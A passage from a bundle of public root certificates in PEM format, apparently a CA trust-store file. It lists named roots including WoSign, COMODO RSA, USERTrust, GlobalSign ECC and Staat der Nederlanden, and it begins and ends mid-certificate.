ggIBALth2X2pbL4XxJEbw6GiAI3jZGgPVs93rnD5/ZpKmbnJeFwMDF/k5hQpVgs2SV1EY+CtnJYY ZhsjDT156W1r1lT40jzBQ0CuHVD1UvyQO7uYmWlrx8GnqGikJ9yd+SeuMIW59mdNOj6PWTkiU0Tr yF0Dyu1Qen1iIQqAyHNm0aAFYF/opbSnr6j3bTWcfFqK1qI4mfN4i/RN0iAL3gTujJtHgXINwBQy 7zBZLq7gcfJW5GqXb5JQbZaNaHqasjYUegbyJLkJEVDXCLG4iXqEI2FCKeWjzaIgQdfRnGTZ6iah ixTXTBmyUEFxPT9NcCOGDErcgdLMMpSEDQgJlxxPwO5rIHQw0uA5NBCFIRUBCOhVMt5xSdkoF1BN 5r5N0XWs0Mr7QbhDparTwwVETyw2m+L64kW4I1NsBm9nVX9GtUw/bihaeSbSpKhil9Ie4u1Ki7wb /UdKDd9nZn6yW0HQO+T0O/QEY+nvwlQAUaCKKsnOeMzV6ocEGLPOr0mIr/OSmbaz5mEP0oUA51Aa 5BuVnRmhuZyxm7EAHu/QD09CbMkKvO5D+jpxpchNJqU1/YldvIViHTLSoCtU7ZpXwdv6EM8Zt4tK G48BtieVU+i2iW1bvGjUI+iLUaJW+fCmgKDWHrO8Dw9TdSmq6hN35N6MgSGtBxBHEa2HPQfRdbzP 82Z+ -----END CERTIFICATE----- WoSign ====== -----BEGIN CERTIFICATE----- MIIFdjCCA16gAwIBAgIQXmjWEXGUY1BWAGjzPsnFkTANBgkqhkiG9w0BAQUFADBVMQswCQYDVQQG EwJDTjEaMBgGA1UEChMRV29TaWduIENBIExpbWl0ZWQxKjAoBgNVBAMTIUNlcnRpZmljYXRpb24g QXV0aG9yaXR5IG9mIFdvU2lnbjAeFw0wOTA4MDgwMTAwMDFaFw0zOTA4MDgwMTAwMDFaMFUxCzAJ BgNVBAYTAkNOMRowGAYDVQQKExFXb1NpZ24gQ0EgTGltaXRlZDEqMCgGA1UEAxMhQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkgb2YgV29TaWduMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA vcqNrLiRFVaXe2tcesLea9mhsMMQI/qnobLMMfo+2aYpbxY94Gv4uEBf2zmoAHqLoE1UfcIiePyO CbiohdfMlZdLdNiefvAA5A6JrkkoRBoQmTIPJYhTpA2zDxIIFgsDcSccf+Hb0v1naMQFXQoOXXDX 2JegvFNBmpGN9J42Znp+VsGQX+axaCA2pIwkLCxHC1l2ZjC1vt7tj/id07sBMOby8w7gLJKA84X5 KIq0VC6a7fd2/BVoFutKbOsuEo/Uz/4Mx1wdC34FMr5esAkqQtXJTpCzWQ27en7N1QhatH/YHGkR +ScPewavVIMYe+HdVHpRaG53/Ma/UkpmRqGyZxq7o093oL5d//xWC0Nyd5DKnvnyOfUNqfTq1+ez EC8wQjchzDBwyYaYD8xYTYO7feUapTeNtqwylwA6Y3EkHp43xP901DfA4v6IRmAR3Qg/UDaruHqk lWJqbrDKaiFaafPz+x1wOZXzp26mgYmhiMU7ccqjUu6Du/2gd/Tkb+dC221KmYo0SLwX3OSACCK2 8jHAPwQ+658geda4BmRkAjHXqc1S+4RFaQkAKtxVi8QGRkvASh0JWzko/amrzgD5LkhLJuYwTKVY yrREgk/nkR4zw7CT/xH8gdLKH3Ep3XZPkiWvHYG3Dy+MwwbMLyejSuQOmbp8HkUff6oZRZb9/D0C AwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFOFmzw7R 8bNLtwYgFP6HEtX2/vs+MA0GCSqGSIb3DQEBBQUAA4ICAQCoy3JAsnbBfnv8rWTjMnvMPLZdRtP1 LOJwXcgu2AZ9mNELIaCJWSQBnfmvCX0KI4I01fx8cpm5o9dU9OpScA7F9dY74ToJMuYhOZO9sxXq T2r09Ys/L3yNWC7F4TmgPsc9SnOeQHrAK2GpZ8nzJLmzbVUsWh2eJXLOC62qx1ViC777Y7NhRCOj y+EaDveaBk3e1CNOIZZbOVtXHS9dCF4Jef98l7VNg64N1uajeeAz0JmWAjCnPv/So0M/BVoG6kQC 2nz4SNAzqfkHx5Xh9T71XXG68pWpdIhhWeO/yloTunK0jF02h+mmxTwTv97QRCbut+wucPrXnbes 5cVAWubXbHssw1abR80LzvobtCHXt2a49CUwi1wNuepnsvRtrtWhnk/Yn+knArAdBtaP4/tIEp9/ EaEQPkxROpaw0RPxx9gmrjrKkcRpnd8BKWRRb2jaFOwIQZeQjdCygPLPwj2/kWjFgGcexGATVdVh mVd8upUPYUk6ynW8yQqTP2cOEvIo4jEbwFcW3wh8GcF+Dx+FHgo2fFt+J7x6v+Db9NpSvd4MVHAx kUOVyLzwPt0JfjBkUO1/AaQzZ01oT74V77D2AhGiGxMlOtzCWfHjXEa7ZywCRuoeSKbmW9m1vFGi kpbbqsY3Iqb+zCB0oy2pLmvLwIIRIbWTee5Ehr7XHuQe+w== -----END CERTIFICATE----- WoSign China ============ -----BEGIN CERTIFICATE----- MIIFWDCCA0CgAwIBAgIQUHBrzdgT/BtOOzNy0hFIjTANBgkqhkiG9w0BAQsFADBGMQswCQYDVQQG EwJDTjEaMBgGA1UEChMRV29TaWduIENBIExpbWl0ZWQxGzAZBgNVBAMMEkNBIOayg+mAmuagueiv geS5pjAeFw0wOTA4MDgwMTAwMDFaFw0zOTA4MDgwMTAwMDFaMEYxCzAJBgNVBAYTAkNOMRowGAYD VQQKExFXb1NpZ24gQ0EgTGltaXRlZDEbMBkGA1UEAwwSQ0Eg5rKD6YCa5qC56K+B5LmmMIICIjAN BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0EkhHiX8h8EqwqzbdoYGTufQdDTc7WU1/FDWiD+k 8H/rD195L4mx/bxjWDeTmzj4t1up+thxx7S8gJeNbEvxUNUqKaqoGXqW5pWOdO2XCld19AXbbQs5 uQF/qvbW2mzmBeCkTVL829B0txGMe41P/4eDrv8FAxNXUDf+jJZSEExfv5RxadmWPgxDT74wwJ85 dE8GRV2j1lY5aAfMh09Qd5Nx2UQIsYo06Yms25tO4dnkUkWMLhQfkWsZHWgpLFbE4h4TV2TwYeO5 Ed+w4VegG63XX9Gv2ystP9Bojg/qnw+LNVgbExz03jWhCl3W6t8Sb8D7aQdGctyB9gQjF+BNdeFy b7Ao65vh4YOhn0pdr8yb+gIgthhid5E7o9Vlrdx8kHccREGkSovrlXLp9glk3Kgtn3R46MGiCWOc 76DbT52VqyBPt7D3h1ymoOQ3OMdc4zUPLK2jgKLsLl3Az+2LBcLmc272idX10kaO6m1jGx6KyX2m +Jzr5dVjhU1zZmkR/sgO9MHHZklTfuQZa/HpelmjbX7FF+Ynxu8b22/8DU0GAbQOXDBGVWCvOGU6 yke6rCzMRh+yRpY/8+0mBe53oWprfi1tWFxK1I5nuPHa1UaKJ/kR8slC/k7e3x9cxKSGhxYzoacX GKUN5AXlK8IrC6KVkLn9YDxOiT7nnO4fuwECAwEAAaNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1Ud EwEB/wQFMAMBAf8wHQYDVR0OBBYEFOBNv9ybQV0T6GTwp+kVpOGBwboxMA0GCSqGSIb3DQEBCwUA A4ICAQBqinA4WbbaixjIvirTthnVZil6Xc1bL3McJk6jfW+rtylNpumlEYOnOXOvEESS5iVdT2H6 yAa+Tkvv/vMx/sZ8cApBWNromUuWyXi8mHwCKe0JgOYKOoICKuLJL8hWGSbueBwj/feTZU7n85iY r83d2Z5AiDEoOqsuC7CsDCT6eiaY8xJhEPRdF/d+4niXVOKM6Cm6jBAyvd0zaziGfjk9DgNyp115 j0WKWa5bIW4xRtVZjc8VX90xJc/bYNaBRHIpAlf2ltTW/+op2znFuCyKGo3Oy+dCMYYFaA6eFN0A kLppRQjbbpCBhqcqBT/mhDn4t/lXX0ykeVoQDF7Va/81XwVRHmyjdanPUIPTfPRm94KNPQx96N97 qA4bLJyuQHCH2u2nFoJavjVsIE4iYdm8UXrNemHcSxH5/mc0zy4EZmFcV5cjjPOGG0jfKq+nwf/Y jj4Du9gqsPoUJbJRa4ZDhS4HIxaAjUz7tGM7zMN07RujHv41D198HRaG9Q7DlfEvr10lO1Hm13ZB ONFLAzkopR6RctR9q5czxNM+4Gm2KHmgCY0c0f9BckgG/Jou5yD5m6Leie2uPAmvylezkolwQOQv T8Jwg0DXJCxr5wkf09XHwQj02w47HAcLQxGEIYbpgNR12KvxAmLBsX5VYc8T1yaw15zLKYs4SgsO kI26oQ== -----END CERTIFICATE----- COMODO RSA Certification Authority ================================== -----BEGIN CERTIFICATE----- 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 LaZRfyHBNVOFBkpdn627G190 -----END CERTIFICATE----- USERTrust RSA Certification Authority ===================================== -----BEGIN CERTIFICATE----- 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 Q+6IHdfGjjxDah2nGN59PRbxYvnKkKj9 -----END CERTIFICATE----- USERTrust ECC Certification Authority ===================================== -----BEGIN CERTIFICATE----- MIICjzCCAhWgAwIBAgIQXIuZxVqUxdJxVt7NiYDMJjAKBggqhkjOPQQDAzCBiDELMAkGA1UEBhMC VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv biBBdXRob3JpdHkwHhcNMTAwMjAxMDAwMDAwWhcNMzgwMTE4MjM1OTU5WjCBiDELMAkGA1UEBhMC VVMxEzARBgNVBAgTCk5ldyBKZXJzZXkxFDASBgNVBAcTC0plcnNleSBDaXR5MR4wHAYDVQQKExVU aGUgVVNFUlRSVVNUIE5ldHdvcmsxLjAsBgNVBAMTJVVTRVJUcnVzdCBFQ0MgQ2VydGlmaWNhdGlv biBBdXRob3JpdHkwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAAQarFRaqfloI+d61SRvU8Za2EurxtW2 0eZzca7dnNYMYf3boIkDuAUU7FfO7l0/4iGzzvfUinngo4N+LZfQYcTxmdwlkWOrfzCjtHDix6Ez nPO/LlxTsV+zfTJ/ijTjeXmjQjBAMB0GA1UdDgQWBBQ64QmG1M8ZwpZ2dEl23OA1xmNjmjAOBgNV HQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAKBggqhkjOPQQDAwNoADBlAjA2Z6EWCNzklwBB HU6+4WMBzzuqQhFkoJ2UOQIReVx7Hfpkue4WQrO/isIJxOzksU0CMQDpKmFHjFJKS04YcPbWRNZu 9YO6bVi9JNlWSOrvxKJGgYhqOkbRqZtNyWHa0V1Xahg= -----END CERTIFICATE----- GlobalSign ECC Root CA - R4 =========================== -----BEGIN CERTIFICATE----- MIIB4TCCAYegAwIBAgIRKjikHJYKBN5CsiilC+g0mAIwCgYIKoZIzj0EAwIwUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI0MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoXDTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI0MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEuMZ5049sJQ6fLjkZHAOkrprl OQcJFspjsbmG+IpXwVfOQvpzofdlQv8ewQCybnMO/8ch5RikqtlxP6jUuc6MHaNCMEAwDgYDVR0P AQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFFSwe61FuOJAf/sKbvu+M8k8o4TV MAoGCCqGSM49BAMCA0gAMEUCIQDckqGgE6bPA7DmxCGXkPoUVy0D7O48027KqGx2vKLeuwIgJ6iF JzWbVsaj8kfSt24bAgAXqmemFZHe+pTsewv4n4Q= -----END CERTIFICATE----- GlobalSign ECC Root CA - R5 =========================== -----BEGIN CERTIFICATE----- MIICHjCCAaSgAwIBAgIRYFlJ4CYuu1X5CneKcflK2GwwCgYIKoZIzj0EAwMwUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMB4XDTEyMTExMzAwMDAwMFoXDTM4MDExOTAzMTQwN1owUDEkMCIGA1UECxMb R2xvYmFsU2lnbiBFQ0MgUm9vdCBDQSAtIFI1MRMwEQYDVQQKEwpHbG9iYWxTaWduMRMwEQYDVQQD EwpHbG9iYWxTaWduMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAER0UOlvt9Xb/pOdEh+J8LttV7HpI6 SFkc8GIxLcB6KP4ap1yztsyX50XUWPrRd21DosCHZTQKH3rd6zwzocWdTaRvQZU4f8kehOvRnkmS h5SHDDqFSmafnVmTTZdhBoZKo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAd BgNVHQ4EFgQUPeYpSJvqB8ohREom3m7e0oPQn1kwCgYIKoZIzj0EAwMDaAAwZQIxAOVpEslu28Yx uglB4Zf4+/2a4n0Sye18ZNPLBSWLVtmg515dTguDnFt2KaAJJiFqYgIwcdK1j1zqO+F4CYWodZI7 yFz9SO8NdCKoCOJuxUnOxwy8p2Fp8fc74SrL+SvzZpA3 -----END CERTIFICATE----- Staat der Nederlanden Root CA - G3 ================================== -----BEGIN CERTIFICATE----- MIIFdDCCA1ygAwIBAgIEAJiiOTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJOTDEeMBwGA1UE CgwVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSswKQYDVQQDDCJTdGFhdCBkZXIgTmVkZXJsYW5kZW4g Um9vdCBDQSAtIEczMB4XDTEzMTExNDExMjg0MloXDTI4MTExMzIzMDAwMFowWjELMAkGA1UEBhMC TkwxHjAcBgNVBAoMFVN0YWF0IGRlciBOZWRlcmxhbmRlbjErMCkGA1UEAwwiU3RhYXQgZGVyIE5l ZGVybGFuZGVuIFJvb3QgQ0EgLSBHMzCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAL4y olQPcPssXFnrbMSkUeiFKrPMSjTysF/zDsccPVMeiAho2G89rcKezIJnByeHaHE6n3WWIkYFsO2t x1ueKt6c/DrGlaf1F2cY5y9JCAxcz+bMNO14+1Cx3Gsy8KL+tjzk7FqXxz8ecAgwoNzFs21v0IJy EavSgWhZghe3eJJg+szeP4TrjTgzkApyI/o1zCZxMdFyKJLZWyNtZrVtB0LrpjPOktvA9mxjeM3K Tj215VKb8b475lRgsGYeCasH/lSJEULR9yS6YHgamPfJEf0WwTUaVHXvQ9Plrk7O53vDxk5hUUur mkVLoR9BvUhTFXFkC4az5S6+zqQbwSmEorXLCCN2QyIkHxcE1G6cxvx/K2Ya7Irl1s9N9WMJtxU5 1nus6+N86U78dULI7ViVDAZCopz35HCz33JvWjdAidiFpNfxC95DGdRKWCyMijmev4SH8RY7Ngzp 07TKbBlBUgmhHbBqv4LvcFEhMtwFdozL92TkA1CvjJFnq8Xy7ljY3r735zHPbMk7ccHViLVlvMDo FxcHErVc0qsgk7TmgoNwNsXNo42ti+yjwUOH5kPiNL6VizXtBznaqB16nzaeErAMZRKQFWDZJkBE 41ZgpRDUajz9QdwOWke275dhdU/Z/seyHdTtXUmzqWrLZoQT1Vyg3N9udwbRcXXIV2+vD3dbAgMB AAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBRUrfrHkleu yjWcLhL75LpdINyUVzANBgkqhkiG9w0BAQsFAAOCAgEAMJmdBTLIXg47mAE6iqTnB/d6+Oea31BD U5cqPco8R5gu4RV78ZLzYdqQJRZlwJ9UXQ4DO1t3ApyEtg2YXzTdO2PCwyiBwpwpLiniyMMB8jPq KqrMCQj3ZWfGzd/TtiunvczRDnBfuCPRy5FOCvTIeuXZYzbB1N/8Ipf3YF3qKS9Ysr1YvY2WTxB1 v0h7PVGHoTx0IsL8B3+A3MSs/mrBcDCw6Y5p4ixpgZQJut3+TcCDjJRYwEYgr5wfAvg1VUkvRtTA 8KCWAg8zxXHzniN9lLf9OtMJgwYh/WA9rjLA0u6NpvDntIJ8CsxwyXmA+P5M9zWEGYox+wrZ13+b 8KKaa8MFSu1BYBQw0aoRQm7TIwIEC8Zl3d1Sd9qBa7Ko+gE4uZbqKmxnl4mUnrzhVNXkanjvSr0r mj1AfsbAddJu+2gw7OyLnflJNZoaLNmzlTnVHpL3prllL+U9bTpITAjc5CgSKL59NVzq4BZ+Extq 1z7XnvwtdbLBFNUjA9tbbws+eC8N3jONFrdI54OagQ97wUNNVQQXOEpR1VmiiXTTn74eS9fGbbeI JG9gkaSChVtWQbzQRKtqE77RLFi3EjNYsjdj3BP1lB0/QFH1T/U67cjF68IeHRaVesd+QnGTbksV tzDfqu1XhUisHWrdOWnk4Xl4vs4Fv6EM94B7IWcnMFk= -----END CERTIFICATE----- Staat der Nederlanden EV Root CA ================================ -----BEGIN CERTIFICATE----- MIIFcDCCA1igAwIBAgIEAJiWjTANBgkqhkiG9w0BAQsFADBYMQswCQYDVQQGEwJOTDEeMBwGA1UE CgwVU3RhYXQgZGVyIE5lZGVybGFuZGVuMSkwJwYDVQQDDCBTdGFhdCBkZXIgTmVkZXJsYW5kZW4g RVYgUm9vdCBDQTAeFw0xMDEyMDgxMTE5MjlaFw0yMjEyMDgxMTEwMjhaMFgxCzAJBgNVBAYTAk5M MR4wHAYDVQQKDBVTdGFhdCBkZXIgTmVkZXJsYW5kZW4xKTAnBgNVBAMMIFN0YWF0IGRlciBOZWRl cmxhbmRlbiBFViBSb290IENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA48d+ifkk SzrSM4M1LGns3Amk41GoJSt5uAg94JG6hIXGhaTK5skuU6TJJB79VWZxXSzFYGgEt9nCUiY4iKTW O0Cmws0/zZiTs1QUWJZV1VD+hq2kY39ch/aO5ieSZxeSAgMs3NZmdO3dZ//BYY1jTw+bbRcwJu+r 0h8QoPnFfxZpgQNH7R5ojXKhTbImxrpsX23Wr9GxE46prfNeaXUmGD5BKyF/7otdBwadQ8QpCiv8 Kj6GyzyDOvnJDdrFmeK8eEEzduG/L13lpJhQDBXd4Pqcfzho0LKmeqfRMb1+ilgnQ7O6M5HTp5gV XJrm0w912fxBmJc+qiXbj5IusHsMX/FjqTf5m3VpTCgmJdrV8hJwRVXj33NeN/UhbJCONVrJ0yPr 08C+eKxCKFhmpUZtcALXEPlLVPxdhkqHz3/KRawRWrUgUY0viEeXOcDPusBCAUCZSCELa6fS/ZbV 0b5GnUngC6agIk440ME8MLxwjyx1zNDFjFE7PZQIZCZhfbnDZY8UnCHQqv0XcgOPvZuM5l5Tnrmd 74K74bzickFbIZTTRTeU0d8JOV3nI6qaHcptqAqGhYqCvkIH1vI4gnPah1vlPNOePqc7nvQDs/nx fRN0Av+7oeX6AHkcpmZBiFxgV6YuCcS6/ZrPpx9Aw7vMWgpVSzs4dlG4Y4uElBbmVvMCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFP6rAJCYniT8qcwa ivsnuL8wbqg7MA0GCSqGSIb3DQEBCwUAA4ICAQDPdyxuVr5Os7aEAJSrR8kN0nbHhp8dB9O2tLsI eK9p0gtJ3jPFrK3CiAJ9Brc1AsFgyb/E6JTe1NOpEyVa/m6irn0F3H3zbPB+po3u2dfOWBfoqSmu c0iH55vKbimhZF8ZE/euBhD/UcabTVUlT5OZEAFTdfETzsemQUHSv4ilf0X8rLiltTMMgsT7B/Zq 5SWEXwbKwYY5EdtYzXc7LMJMD16a4/CrPmEbUCTCwPTxGfARKbalGAKb12NMcIxHowNDXLldRqAN b/9Zjr7dn3LDWyvfjFvO5QxGbJKyCqNMVEIYFRIYvdr8unRu/8G2oGTYqV9Vrp9canaW2HNnh/tN f1zuacpzEPuKqf2evTY4SUmH9A4U8OmHuD+nT3pajnnUk+S7aFKErGzp85hwVXIy+TSrK0m1zSBi 5Dp6Z2Orltxtrpfs/J92VoguZs9btsmksNcFuuEnL5O7Jiqik7Ab846+HUCjuTaPPoIaGl6I6lD4 WeKDRikL40Rc4ZW2aZCaFG+XroHPaO+Zmr615+F/+PoTRxZMzG0IQOeLeG9QgkRQP2YGiqtDhFZK DyAthg710tvSeopLzaXoTvFeJiUBWSOgftL2fiFX1ye8FVdMpEbB4IMeDExNH08GGeL5qPQ6gqGy eUN51q1veieQA6TqJIc/2b3Z6fJfUEkc7uzXLg== -----END CERTIFICATE----- IdenTrust Commercial Root CA 1 ============================== -----BEGIN CERTIFICATE----- MIIFYDCCA0igAwIBAgIQCgFCgAAAAUUjyES1AAAAAjANBgkqhkiG9w0BAQsFADBKMQswCQYDVQQG EwJVUzESMBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBS b290IENBIDEwHhcNMTQwMTE2MTgxMjIzWhcNMzQwMTE2MTgxMjIzWjBKMQswCQYDVQQGEwJVUzES MBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBSb290IENB IDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnUBneP5k91DNG8W9RYYKyqU+PZ4ld hNlT3Qwo2dfw/66VQ3KZ+bVdfIrBQuExUHTRgQ18zZshq0PirK1ehm7zCYofWjK9ouuU+ehcCuz/ mNKvcbO0U59Oh++SvL3sTzIwiEsXXlfEU8L2ApeN2WIrvyQfYo3fw7gpS0l4PJNgiCL8mdo2yMKi 1CxUAGc1bnO/AljwpN3lsKImesrgNqUZFvX9t++uP0D1bVoE/c40yiTcdCMbXTMTEl3EASX2MN0C XZ/g1Ue9tOsbobtJSdifWwLziuQkkORiT0/Br4sOdBeo0XKIanoBScy0RnnGF7HamB4HWfp1IYVl 